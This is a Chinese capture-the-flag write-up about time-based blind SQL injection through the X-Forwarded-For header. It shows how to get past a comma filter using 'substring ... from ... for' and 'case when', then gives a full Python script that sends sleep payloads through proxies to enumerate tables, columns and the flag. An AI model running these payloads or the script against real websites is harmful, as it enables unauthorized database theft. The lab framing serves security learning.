拿到这一题,根据提示域页面显示的ip,很多小伙伴们肯定猜到了这是一道http头注入,且是与ip相关的,与ip相关的头常见的有:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
x-forwarded-for
最常见的可能就是X-Forwarded-For了吧,所以我直接试了一下,将它的值修改为127.0.0.1,页面上的显示也跟着变了,看来就是它了。然后随便加一个单引号试了一下,发现被原样输出在了页面上,也没有报错,然后试了双引号括号等,都没有报错,难道是被过滤了,过滤了还能怎么玩呢?于是暂且排除过滤,联想到了会不会是时间盲注,于是开始写payload,但是在利用substr函数时,发现逗号后面的内容都会被截断,顿时懵逼了,小白刚刚入坑,也不知道怎么绕过,于是百度之,原来substring函数有一用法可以不适用逗号完成截取功能:
substring('mask',1,2)
等价于
substring('mask' from 1 for 2)
还有一个问题,就是我之前遇到盲注都是用if来实现条件判断,但是if大家也知道时需要逗号的,这里可以使用select case when语句来替代。
if与select case when参考,现在,我们就可以来写脚本了。
首先我们需要知道当前数据库所有的表名:
#! /usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import time
chars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#设置代理,可以忽略
proxies = {
"http":"http://115.223.238.191:9000",
# "http":"http://117.90.252.231:9000",
# "http":"http://115.218.126.92:9000"
}
#这个函数的作用是获取表名的长度,知道了长度,跑表名更加方便
def get_len():
len = 1
while True:
headers = {
"X-Forwarded-For":
"' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
}
# headers = {
# "X-Forwarded-For":
# "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)
# }
#headers = {
# "X-Forwarded-For":
# "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)
#}
print u'当前长度%d'%len
len += 1
start = time.time()
requests.get(url,headers=headers,proxies=proxies)
end = time.time()
if end - start >= 5:
print "The length is %d"%(len-1)
return len-1
#获取具体的内容
def get_content():
result = ''
for i in range(1,5):
for char in chars:
headers = {"X-Forwarded-For":
"' or (select case when (select substring(\
(select group_concat(table_name) from information_schema.tables where table_schema=database()) \
from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}
#headers = {
# "X-Forwarded-For":
# "' or (select case when \
# (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \
# from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)
# }
start = time.time()
requests.get(url,headers=headers,proxies=proxies)
end = time.time()
if end - start >= 5:
result += char
print u'当前进度:'+result
break
print u'结果:'+result
if __name__ == '__main__':
get_len()
#get_content()
上面的脚本只需要根据特定的目的,修改为特定的headers就行
我跑了一下当前数据库中group_concat(table_name)的length为14,于是就需要根据这个长度修改一下get_content函数的外层循环的为for i in range(1,15),由于一些失误,这里跑出来的表名混在一起了,但是还是可以才出来最后的flag就是我们想要的表名。
然后跑一下字段的长度
字段名
由于我一开始脚本没有设置代理,所以到跑内容的时候,ip被封了。。。。
没想到已经隔了一周多了,上面写的东西都忘得差不多了,但是还是要完成啊。
继续跑flag的长度:
跑到一半网挂了….最终也没跑完,不过思路就这样了,flag也不放出来了。
有大佬给出了用sqlmap与burpsuite的方法,后续可能会补上
关注web安全与python